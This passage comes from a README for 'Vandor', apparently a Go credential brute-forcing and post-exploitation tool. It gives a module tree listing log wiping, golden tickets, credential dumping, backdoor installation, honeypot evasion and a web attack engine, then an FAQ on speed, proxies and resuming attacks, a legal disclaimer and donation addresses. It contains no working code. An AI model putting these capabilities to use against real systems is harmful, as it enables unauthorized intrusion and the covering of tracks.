โ”‚   โ””โ”€โ”€ Result aggregation
โ”‚
โ”œโ”€โ”€ ui.py                            # GUI launcher (1000+ lines)
โ”‚   โ”œโ”€โ”€ CustomTkinter interface
โ”‚   โ”œโ”€โ”€ 7 tabbed interfaces
โ”‚   โ”œโ”€โ”€ Network scanner
โ”‚   โ”œโ”€โ”€ Real-time output display
โ”‚   โ””โ”€โ”€ Settings persistence
โ”‚
โ”œโ”€โ”€ AntiFor/
โ”‚   โ””โ”€โ”€ antiforensic.go              # Anti-forensic operations
โ”‚       โ”œโ”€โ”€ Log wiping (10+ log types)
โ”‚       โ”œโ”€โ”€ Memory scrubbing
โ”‚       โ”œโ”€โ”€ SSH tunneling
โ”‚       โ”œโ”€โ”€ SOCKS5 proxy
โ”‚       โ”œโ”€โ”€ Traffic obfuscation (AES-256)
โ”‚       โ”œโ”€โ”€ Golden ticket creation
โ”‚       โ”œโ”€โ”€ Agent hijacking
โ”‚       โ”œโ”€โ”€ Credential dumping
โ”‚       โ””โ”€โ”€ Remote file execution
โ”‚
โ”œโ”€โ”€ archive/
โ”‚   โ”œโ”€โ”€ rar.go                       # RAR v4/v5 cracker
โ”‚   โ”‚   โ”œโ”€โ”€ Header analysis
โ”‚   โ”‚   โ”œโ”€โ”€ Multi-threaded cracking
โ”‚   โ”‚   โ””โ”€โ”€ Progress saving
โ”‚   โ””โ”€โ”€ zip.go                       # ZIP cracker
โ”‚       โ”œโ”€โ”€ Central directory parsing
โ”‚       โ”œโ”€โ”€ Password spraying
โ”‚       โ””โ”€โ”€ Worker pool management
โ”‚
โ”œโ”€โ”€ checker/
โ”‚   โ”œโ”€โ”€ checker.go                   # Main checker logic
โ”‚   โ”‚   โ”œโ”€โ”€ Multi-threaded validation
โ”‚   โ”‚   โ”œโ”€โ”€ Rate limiting
โ”‚   โ”‚   โ””โ”€โ”€ Result aggregation
โ”‚   โ”œโ”€โ”€ cpanel.go                    # cPanel validator
โ”‚   โ”‚   โ”œโ”€โ”€ Port 2083 detection
โ”‚   โ”‚   โ”œโ”€โ”€ JSON response parsing
โ”‚   โ”‚   โ””โ”€โ”€ Security token extraction
โ”‚   โ””โ”€โ”€ wordpress.go                 # WordPress validator
โ”‚       โ”œโ”€โ”€ wp-login.php detection
โ”‚       โ”œโ”€โ”€ Cookie-based validation
โ”‚       โ””โ”€โ”€ Redirect following
โ”‚
โ”œโ”€โ”€ colors/
โ”‚   โ””โ”€โ”€ colors.go                    # ANSI color codes
โ”‚
โ”œโ”€โ”€ config/
โ”‚   โ””โ”€โ”€ config.go                    # Global configuration
โ”‚
โ”œโ”€โ”€ crack/
โ”‚   โ””โ”€โ”€ crack.go                     # Low-level cracking
โ”‚       โ”œโ”€โ”€ SMB/NTLM implementation
โ”‚       โ”œโ”€โ”€ Telnet IAC negotiation
โ”‚       โ”œโ”€โ”€ VNC DES challenge
โ”‚       โ””โ”€โ”€ Protocol packet building
โ”‚
โ”œโ”€โ”€ honeypot/
โ”‚   โ””โ”€โ”€ honeypot.go                  # Honeypot detection
โ”‚       โ”œโ”€โ”€ 30+ honeypot signatures
โ”‚       โ”œโ”€โ”€ Protocol mismatch testing
โ”‚       โ”œโ”€โ”€ Response time analysis
โ”‚       โ”œโ”€โ”€ Banner consistency checks
โ”‚       โ””โ”€โ”€ TCP timestamp fingerprinting
โ”‚
โ”œโ”€โ”€ internal/
โ”‚   โ””โ”€โ”€ telegram.go                  # Telegram integration
โ”‚       โ”œโ”€โ”€ Rate-limited API calls
โ”‚       โ”œโ”€โ”€ HTML message formatting
โ”‚       โ””โ”€โ”€ Async notifications
โ”‚
โ”œโ”€โ”€ postexploit/
โ”‚   โ””โ”€โ”€ backdoor.go                  # Post-exploitation
โ”‚       โ”œโ”€โ”€ System info gathering
โ”‚       โ”œโ”€โ”€ Backdoor installation (6 types)
โ”‚       โ”œโ”€โ”€ Hash extraction
โ”‚       โ”œโ”€โ”€ Network scanning
โ”‚       โ””โ”€โ”€ Script generation
โ”‚
โ”œโ”€โ”€ protocols/
โ”‚   โ””โ”€โ”€ protocols.go                 # All protocol implementations
โ”‚       โ”œโ”€โ”€ SSH client (golang.org/x/crypto/ssh)
โ”‚       โ”œโ”€โ”€ RDP NLA authentication
โ”‚       โ”œโ”€โ”€ FTP/MySQL clients
โ”‚       โ”œโ”€โ”€ PostgreSQL/Redis/MongoDB
โ”‚       โ”œโ”€โ”€ POP3/IMAP/SMTP
โ”‚       โ”œโ”€โ”€ SNMP v2c
โ”‚       โ”œโ”€โ”€ LDAP simple bind
โ”‚       โ”œโ”€โ”€ Worker pool management
โ”‚       โ”œโ”€โ”€ Checkpoint system
โ”‚       โ”œโ”€โ”€ Smart password cache
โ”‚       โ””โ”€โ”€ Multi-city routing
โ”‚
โ””โ”€โ”€ webinferno/
    โ””โ”€โ”€ webinferno.go                # Web attack engine (1500+ lines)
        โ”œโ”€โ”€ Burp request parsing
        โ”œโ”€โ”€ Variable substitution
        โ”œโ”€โ”€ CSRF token extraction
        โ”œโ”€โ”€ Intelligence learning
        โ”œโ”€โ”€ Evasion techniques (6 levels)
        โ”œโ”€โ”€ GraphQL support
        โ”œโ”€โ”€ WebSocket support
        โ”œโ”€โ”€ OAuth2 token refresh
        โ”œโ”€โ”€ Cluster distribution
        โ”œโ”€โ”€ HTML/JSON report generation
        โ””โ”€โ”€ Adaptive rate limiting

โ“ FAQ

Q: How fast is Vandor compared to Hydra/Medusa?

A: Significantly faster due to Go's concurrency model:

  • Vandor: 5,000-50,000 threads
  • Hydra: Limited by Perl's threading
  • Medusa: Limited by C threading
  • Real-world: Vandor is 5-10x faster on same hardware
Q: Does Vandor work on Windows?

A: Yes! Full Windows support:

  • Native Windows executable (.exe)
  • GUI works on Windows
  • All protocols work (including SMB)
  • Only limitation: RAM disk mode uses %TEMP% instead of /dev/shm
Q: Can I use my own wordlists?

A: Absolutely:

  • Any text file with one entry per line
  • UTF-8 encoding supported
  • Files up to several GB work (streaming)
  • Comments lines start with #
Q: How do I stop a running attack?

A: Multiple ways:

  • Press Ctrl+C (graceful shutdown)
  • Click "TERMINATE" in GUI
  • Kill the process (SIGTERM)
  • Checkpoint saves progress automatically
Q: Does Vandor support proxies?

A: Yes:

  • HTTP/HTTPS proxies
  • SOCKS5 proxies
  • Multi-city routing (built-in)
  • Use -multi-city for automatic routing
Q: How accurate is honeypot detection?

A: 95%+ with multi-signature analysis:

  • Protocol mismatch: 25% confidence
  • Response time anomalies: 20%
  • Banner inconsistencies: 35%
  • TCP timestamp analysis: 15%
  • Combined confidence >80% = honeypot
Q: Can I resume an interrupted attack?

A: Yes, automatically:

  • Checkpoint saved every 30 seconds
  • Use -resume flag
  • Restores exact progress
  • Skips already cracked hosts
Q: What's the maximum password length?

A: No practical limit:

  • Go strings support up to 2GB
  • Dictionary files of any size
  • Smart generation limited to 32 chars for performance
Q: Does GUI work on Linux/macOS?

A: Yes:

  • Linux: Requires python3-tk
  • macOS: Works with Homebrew Python
  • Windows: Native support
  • Install: pip install customtkinter psutil
Q: How to update Vandor?

A: Simple:

go install github.com/Specter-OG/Vandor@latest

THIS SOFTWARE IS PROVIDED FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.

By using Vandor, you agree that:
1. You will only use this tool on systems you own or have explicit written permission to test
2. You are responsible for compliance with all applicable laws and regulations
3. The authors assume no liability for misuse or damage caused by this tool
4. Unauthorized access to computer systems is illegal in most jurisdictions
5. Always obtain proper authorization before conducting security assessments

Violations may result in:
- Civil lawsuits
- Criminal prosecution
- Permanent ban from security community
- Termination of employment (for professionals)

USE RESPONSIBLY. STAY LEGAL. BE ETHICAL.

๐Ÿค Contributing

We welcome contributions! Areas that need help:

  1. Protocol Implementations - Add more services
  2. GUI Features - Improve the launcher
  3. Performance - Optimize concurrency
  4. Documentation - More examples and tutorials
  5. Bug Reports - Open issues with detailed steps

๐Ÿ“ž Support & Community


๐Ÿ’– Support the Project

If you find Vandor useful, or it has saved you time and effort, please consider supporting its continued development.
Every little helps โ€” from a cup of coffee to a server boost. โ˜•๐Ÿš€

Your donation keeps the project alive, maintained, and open for everyone.

๐Ÿ“ฆ Cryptocurrency Addresses

You can send contributions via the following networks:

Network Address
๐ŸŸฃ Tron (TRC20) TQsUASZzfcKg4AckFFv1YjKgU8QCniUwhv
โ‚ฟ Bitcoin (BTC) bc1q7rags3da9a549u22e8t9fmw7j94kgxwflfy2f8
โšก Litecoin (LTC) ltc1q9zc36ufvq5ze0xfukv0mn0yu793m2zd5dvkcp0

๐Ÿ™ Thank you for your generosity and trust.


โญ Star this repo if you find it useful! โญ

Built with ๐Ÿ”ฅ by security researchers, for security researchers

โฌ† Back to Top

Documentation ยถ

The Go Gopher

There is no documentation for this package.

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL